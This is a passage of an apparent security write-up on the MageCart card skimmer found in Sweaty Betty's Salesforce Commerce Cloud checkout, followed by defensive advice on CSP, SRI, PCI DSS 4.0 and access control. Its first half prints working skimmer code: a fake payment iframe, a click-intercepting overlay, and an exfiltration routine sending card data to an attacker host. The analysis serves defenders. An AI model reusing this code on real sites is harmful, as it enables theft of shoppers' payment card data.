This is particularly effective against SFCC’s multi-step checkout flow, where shipping, billing, and payment are often separate page loads. The skimmer accumulates form data across every step — name and email from the account page, shipping address from the delivery step, billing details from the payment step — building a complete customer profile before exfiltration. The $sent cookie prevents duplicate sends if the victim navigates back and forth between checkout steps. It’s a small detail that shows this toolkit was built with e-commerce platforms in mind.

ChangeForm — Hijacking the Checkout

When the credit card payment option is selected, the skimmer hides the real payment form and injects a fake one via an iframe. It also creates an invisible <div> overlay on top of the submit button:

'ChangeForm': function () {
if (typeof jQuery != 'undefined') {
var ccRadio = document.getElementById('is-CREDIT_CARD');
var cardDiv = document.getElementById('card');
var fakeForm = document.getElementById('_payment_form');
if (ccRadio !== null && ccRadio.checked && cardDiv !== null) {
if (!$s.Changed) {
jQuery(cardDiv).hide();
if (fakeForm === null) {
var iframe = document.createElement('iframe');
iframe.id = '_payment_form';
iframe.srcdoc = $s.Template; // Fake payment form HTML
iframe.setAttribute('scrolling', 'no');
iframe.setAttribute('frameborder', '0');
iframe.style = 'border:0;overflow:hidden;width:100%;min-height:212px;';
jQuery(cardDiv).after(iframe);
// After 5 seconds, overlay the submit button
setTimeout(function () {
$s.WR(jQuery('#billing-submit'), 500, function () {
$s.ClickButton();
});
}, 5000);
} else {
// Fake form already exists (e.g. navigated back), re-show it
jQuery(fakeForm).show();
}
} else {
// ClickButton already fired — keep the real form visible
jQuery(fakeForm).hide();
jQuery(cardDiv).show();
}
} else {
// Credit card option not selected — hide the fake form if it exists
jQuery(fakeForm).hide();
}
}
}

The Fake Payment Form

The Template property contains a complete HTML page rendered inside the iframe. It includes styled inputs that mimic Sweaty Betty’s checkout UI, card brand detection (Visa, MC, Amex, etc.), and input masking. Critically, the iframe’s JavaScript writes captured values directly to the parent window’s skimmer object:

setInterval(function () {
if (parent.$s !== undefined) {
parent.$s.Data.Number = document.getElementById("number").value.trim();
parent.$s.Data.Date = document.getElementById("date").value.trim();
parent.$s.Data.CVV = document.getElementById("cvv").value.trim();
parent.$s.Data.Holder = document.getElementById("holder").value.trim();
}
}, 500);
Full fake payment form HTML (click to expand)
<!DOCTYPE html>
<html>
<head>
<title>Payment</title>
<style>
@import url(https://fonts.googleapis.com/css?family=Quicksand&display=swap);
#form { max-width: 386px; min-width: 266px }
.group { display: block; margin-bottom: 12px }
input {
border: 1px solid #d8d8d8; height: 56px; box-sizing: border-box;
width: 100%; color: #001b2b;
font-family: FuturaLTPro-Book, "Helvetica Neue", Helvetica, Roboto, Arial, sans-serif;
font-size: 14px; outline: 0; padding-left: 7px
}
.row { width: 100% }
.row .col-left { width: 48%; float: left }
.row .col-right { width: 48%; float: right }
#number {
padding-left: 57px; background-repeat: no-repeat;
background-position-y: center; background-position-x: 7px
}
#holder { margin-bottom: 10px; padding-left: 15px }
.card { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/nocard.svg) !important }
.visa { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/visa.svg) !important }
.mc { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/mc.svg) !important }
.jsb { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/jcb.svg) !important }
.ae { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/amex.svg) !important }
.di { background-image: url(https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/discover.svg) !important }
</style>
<script>
// InputMask library for formatting CC number and date fields
// ... (omitted for brevity — provides "9999 9999 9999 9999" and "99/99" masks)
// Card brand detection
var GetCardType = function (e) {
if (null != e.match(new RegExp("^4"))) return "visa";
if (null != e.match(new RegExp("^[527]"))) return "mc";
if (null != e.match(new RegExp("^3[47]"))) return "ae";
// ... additional brand checks for Discover, JCB, etc.
return "card";
};
// Exfiltrate to parent skimmer object every 500ms
setInterval(function () {
if (parent.$s !== undefined) {
parent.$s.Data.Number = document.getElementById("number").value.trim();
parent.$s.Data.Date = document.getElementById("date").value.trim();
parent.$s.Data.CVV = document.getElementById("cvv").value.trim();
parent.$s.Data.Holder = document.getElementById("holder").value.trim();
}
}, 500);
</script>
</head>
<body>
<div id="form">
<div class="group">
<input type="text" id="holder" placeholder="Name on Card*">
</div>
<div class="group">
<input type="text" class="card" id="number" data-mask="number"
placeholder="16 DIGIT NUMBER*" onkeyup="ChangeType(this)">
</div>
<div class="row">
<div class="col-left">
<input type="text" id="date" data-mask="date" placeholder="Expiry Date*">
</div>
<div class="col-right">
<input type="text" id="cvv" data-type="" placeholder="CVV">
</div>
</div>
</div>
<script>
(new InputMask).Initialize(
document.querySelectorAll("[data-mask=date]"), { mask: "99/99" }
);
(new InputMask).Initialize(
document.querySelectorAll("[data-mask=number]"), { mask: "9999 9999 9999 9999" }
);
</script>
</body>
</html>

WR — The Invisible Click Interceptor

The WR method creates an absolutely-positioned invisible <div> that overlays the real submit button — slightly oversized (width + 100px, height + 50px) to ensure the victim can’t miss it. When the victim clicks “submit,” they’re actually clicking this overlay, which after a short delay removes itself and calls ClickButton:

'WR': function (button, timeout = 3000, callback = null) {
var overlay = document.getElementById('wr');
if (overlay === null) {
overlay = document.createElement('div');
overlay.id = 'wr';
jQuery('body').append(overlay);
}
// Position overlay exactly over the submit button
overlay.style.position = 'absolute';
overlay.style.width = button.width() + 100 + 'px';
overlay.style.height = button.height() + 50 + 'px';
overlay.style.top = button.offset().top + 'px';
overlay.style.left = button.offset().left + 'px';
overlay.style.zIndex = 9999;
overlay.style.cursor = 'pointer';
overlay.onclick = function (e) {
var target = e.target;
setTimeout(function () {
if (target !== null) target.remove();
if (callback !== null) callback();
}, parseInt(timeout));
};
}

ClickButton — The Bait and Switch

By the time the victim clicks “submit,” the skimmer has likely already exfiltrated their card data — TrySend runs on the same 500ms loop and fires as soon as all fields pass validation. The submit click itself just needs to clean up the scene.

When the overlay intercepts the click, it waits 500ms, removes itself from the DOM, then calls ClickButton. This method hides the fake iframe and reveals the real payment form that was hidden underneath. From the victim’s perspective, the form they just filled out appears to glitch — their inputs vanish and the fields look empty. Most users just re-enter their card details into what is now the legitimate form and complete their purchase, none the wiser:

'ClickButton': function () {
var cardDiv = document.getElementById('card');
var fakeForm = document.getElementById('_payment_form');
var submitBtn = jQuery('#billing-submit');
if (submitBtn.length > 0) {
if (!$s.Changed) {
jQuery(fakeForm).hide();
jQuery(cardDiv).show();
$s.Changed = true; // Won't swap again
} else {
jQuery(submitBtn).click(); // Normal submit on subsequent clicks
}
}
return false;
}

SendData — Exfiltration via Image Request

Once card number, holder, date, and CVV are all present, the skimmer exfiltrates by creating an <img> element whose src is the attacker’s server with the stolen data in the query string:

'SendData': function () {
$s.Data.Domain = location.hostname;
var payload = $s.Base64.encode(JSON.stringify($s.Data));
var hash = calcMD5(payload);
// Don't send duplicates
for (var i = 0; i < $s.Sent.length; i++) {
if ($s.Sent[i] == hash) return;
}
$s.LoadImage(payload);
},
'LoadImage': function (data) {
$s.Sent.push(calcMD5(data));
Cookies.set('$sent', $s.Base64.encode(JSON.stringify($s.Sent)));
var img = document.createElement('IMG');
img.src = $s.Gate + '?hash=' + data;
// GET request to https://www.cdcc02.com/widgets/main.js?hash=<base64 encoded stolen data>
Cookies.remove('$s');
}

GetAddr — SFCC-Specific Targeting

The skimmer also targets SFCC-specific billing address field IDs, confirming this was tailored for the Demandware/SFCC platform:

'GetAddr': function () {
var street = document.getElementById(
'dwfrm_billing_billingAddress_addressFields_streetName'
);
var suite = document.getElementById(
'dwfrm_billing_billingAddress_addressFields_suite'
);
if (street !== null && suite !== null) {
$s.Data.addr = street + ' ' + suite;
}
}

This method is dead code. street and suite are DOM element references, not their values — concatenating them produces [object HTMLInputElement] [object HTMLInputElement] rather than actual address text (missing .value). It likely originated from a different campaign’s toolkit and was copy-pasted without adaptation. The attackers didn’t need it anyway: SaveAllFields already scrapes every input’s .value by ID on every tick, so billing address fields were captured through that path regardless.

The Main Loop

The entire attack runs on a 500ms interval. On every tick, TrySend scrapes all form fields, checks for the checkout page, attempts the form swap, and exfiltrates if card data is present:

$s.GetFromStorage(); // Restore state from cookies
setInterval($s.TrySend, 500); // Run every 500ms

Defending Against MageCart

Understanding the attack is half the battle. Here’s what actually works against this class of threat.

PCI DSS 4.0 — This Is Now a Compliance Requirement

As of March 31, 2025, much of what follows isn’t just best practice — it’s mandatory for any organization handling card payments. PCI DSS 4.0 introduced two requirements directly targeting MageCart-style attacks:

  • Requirement 6.4.3 — All scripts on payment pages must be inventoried, explicitly authorized, and integrity-checked. You need to know every script running on your checkout pages, justify why it’s there, and verify it hasn’t been tampered with.
  • Requirement 11.6.1 — Implement a mechanism to detect and alert on unauthorized changes to HTTP headers and scripts in the browser on payment pages. This goes beyond script monitoring — if an attacker with CMS access silently strips your CSP header or modifies other security-relevant headers (X-Frame-Options, Strict-Transport-Security), you need to know about it. Without this, an attacker could disable your protections before injecting a skimmer.

Tools like Code Defender (covered below) are built to satisfy both requirements out of the box.

Supply Chain Hygiene

The Sweaty Betty attack didn’t exploit a zero-day or bypass a WAF — it walked through the front door via a compromised CMS account. Before investing in detection tools, harden the supply chain itself.

CMS and admin access control. The attackers modified a first-party JavaScript file through Sweaty Betty’s SFCC Business Manager. This is an access control failure. At minimum: enforce MFA on every CMS account, use SSO with a hardened identity provider rather than standalone credentials, apply least-privilege so content editors can’t modify script assets, and audit access logs for unusual file modifications. A compromised marketing account shouldn’t be able to edit JavaScript.

Dependency and build pipeline integrity. MageCart isn’t limited to CMS injection. Attackers also compromise npm packages, build tools, and CI/CD pipelines to inject skimmers upstream. Pin dependency versions, audit your dependency tree regularly (npm audit, is-website-vulnerable), and review what your build pipeline actually outputs. A lockfile diff in a pull request is cheap insurance.

Version control and source code management. If your storefront code lives in a VCS (Git, etc.), treat it as a trust boundary. Enforce branch protection on production branches — require pull request reviews so no single compromised account can push malicious code undetected. Require commit signing (GPG or SSH) so that every change is cryptographically tied to an identity, making it harder for an attacker with stolen credentials to inject code without attribution. Apply least-privilege to repository access: developers who work on marketing templates shouldn’t have write access to checkout JavaScript. Audit your collaborator list regularly and revoke access for departed team members immediately.

CDN and third-party script governance. Every externally-hosted script is an attack surface. Maintain an inventory of third-party scripts on your checkout pages, vet new additions, and remove anything that’s not strictly necessary. If you load scripts from a CDN, use Subresource Integrity (covered below) to ensure the file hasn’t been tampered with at the CDN level.

Script Inventory and Behavioral Monitoring

You can’t protect what you can’t see. The first step is knowing exactly which scripts run on your pages — first-party, third-party, and everything they dynamically load. Manual audits don’t scale and go stale immediately. You need continuous, automated script inventory.

Beyond inventory, static analysis alone can’t catch skimmers that decrypt themselves at runtime. You need something watching what scripts actually do in the browser — DOM mutations, network requests to unknown origins, access to sensitive form fields.

Code Defender by HUMAN Security (formerly PerimeterX) handles both. It maintains a live inventory of every script executing on your pages with reproducible compliance reports for attestation. More importantly, it monitors behavioral changes in existing scripts — if a script that previously only handled animations suddenly starts reading form fields, creating image elements, or making network requests to unknown domains, Code Defender flags it with severity scaled to the behavior. That escalation model maps directly to this attack: the Sweaty Betty skimmer’s behaviors (scraping all form inputs, injecting iframes, creating <img> elements to exfiltrate data) would each individually raise alerts. For e-commerce platforms where third-party scripts are unavoidable, this combination of inventory and behavioral monitoring is the most effective layer of defense.

Content Security Policy

A well-configured Content Security Policy wouldn’t have prevented the skimmer code from executing — since it was appended to a first-party file served by SFCC, it runs in the same script context as the legitimate code. However, CSP would have blocked the skimmer’s downstream actions: the iframe injection (frame-src), the image-based exfiltration to cdcc02.com (img-src), and the inline script execution within the fake form’s <script> tags (script-src). A tight connect-src and img-src policy alone would have silently killed the exfiltration.

The challenge with traditional CSP is maintaining an exhaustive allowlist of every legitimate domain your site loads resources from — painful for e-commerce sites with dozens of third-party integrations.

An alternative is the nonce-based approach (sometimes called “strict CSP”), recommended by Google. Instead of allowlisting domains, the server generates a unique cryptographic nonce per page load and injects it into every legitimate <script> tag. The CSP header then only allows scripts carrying that nonce:

Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic';

The strict-dynamic directive lets nonced scripts load their own dependencies without additional allowlist entries. This sidesteps the inventory problem entirely. Note that nonce-based CSP would not have blocked the Sweaty Betty skimmer’s main code — since it was appended to a first-party file, it would have been served with the nonce like the rest of custom.js. But it would have blocked the inline scripts inside the injected iframe — because the skimmer uses srcdoc to render the fake form, the child document inherits the parent’s CSP, and those inline <script> tags wouldn’t carry a nonce. (If the iframe used a cross-origin src instead, the parent’s CSP wouldn’t apply.) The resource-level directives (img-src, frame-src) would have also stopped the exfiltration and form injection regardless.

Subresource Integrity

Subresource Integrity (SRI) lets you pin a cryptographic hash to any script or stylesheet tag. The browser computes the hash of the fetched resource and refuses to execute it if it doesn’t match:

<script src="/js/custom.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>

If the Sweaty Betty attackers had appended their skimmer to custom.js, the hash would no longer match and the browser would block the entire script. SRI is particularly effective against the exact attack vector used here — modifying a first-party file through a compromised CMS account.

The caveat: SRI only helps if the hashes are computed ahead of time from known-good files (e.g. during a build step) and hardcoded into the HTML. If the platform dynamically generates integrity hashes from whatever the current file contents are — which some CMS platforms do — then SRI offers no protection because the hash would simply reflect the tampered file. SRI also requires updating the hash every time the legitimate file changes, and only works for scripts loaded via <script> tags. It’s best suited for stable, infrequently-changed resources with hashes managed in a build pipeline the attacker can’t reach.

The Real Lesson

Ultimately, the Sweaty Betty breach came down to unauthorized access to an SFCC Business Manager account. The exact method was never publicly confirmed, but Sansec’s research into analogous SFCC breaches identified the likely vectors as leaked admin credentials, spearphishing, or a compromised internal network — and concluded that the Salesforce platform itself was not breached. No amount of CSP or SRI matters if an attacker has write access to your content sources. The defenses above are layers of depth, but the foundation is access control: MFA, SSO, least-privilege, and treating CMS accounts with the same rigor as production infrastructure.

Sources